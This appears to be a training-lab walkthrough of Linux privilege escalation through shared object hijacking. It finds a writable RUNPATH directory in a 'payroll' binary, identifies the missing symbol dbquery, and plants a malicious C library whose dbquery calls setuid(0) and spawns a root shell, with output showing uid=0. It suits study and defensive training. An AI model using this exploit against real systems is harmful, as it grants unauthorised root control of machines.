Shared Object Hijacking
Use ldd to print the shared object required by a binary or shared object.
htb-student@NIX02:~$ ldd payroll
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
We can see a non-standard library named libshared.so
listed as a dependency for the binary.
it is possible to load shared libraries from custom locations. One such setting is the RUNPATH
configuration. Libraries in this folder are given preference over other folders. This can be inspected using the readelf utility.
htb-student@NIX02:~$ readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
/development
folder is writable by all users then we need to find the function name called by the binary causing an error.
htb-student@NIX02:~$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
htb-student@NIX02:~$ ./payroll
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
Doing that we are able to get the vulnerable function. dbquery is the vulnerable function.
Exploit
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() {
printf("Malicious library loaded\\n");
setuid(0);
system("/bin/sh -p");
}
htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.so
htb-student@NIX02:~$ ./payroll
***************Inlane Freight Employee Database***************
Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)
Last updated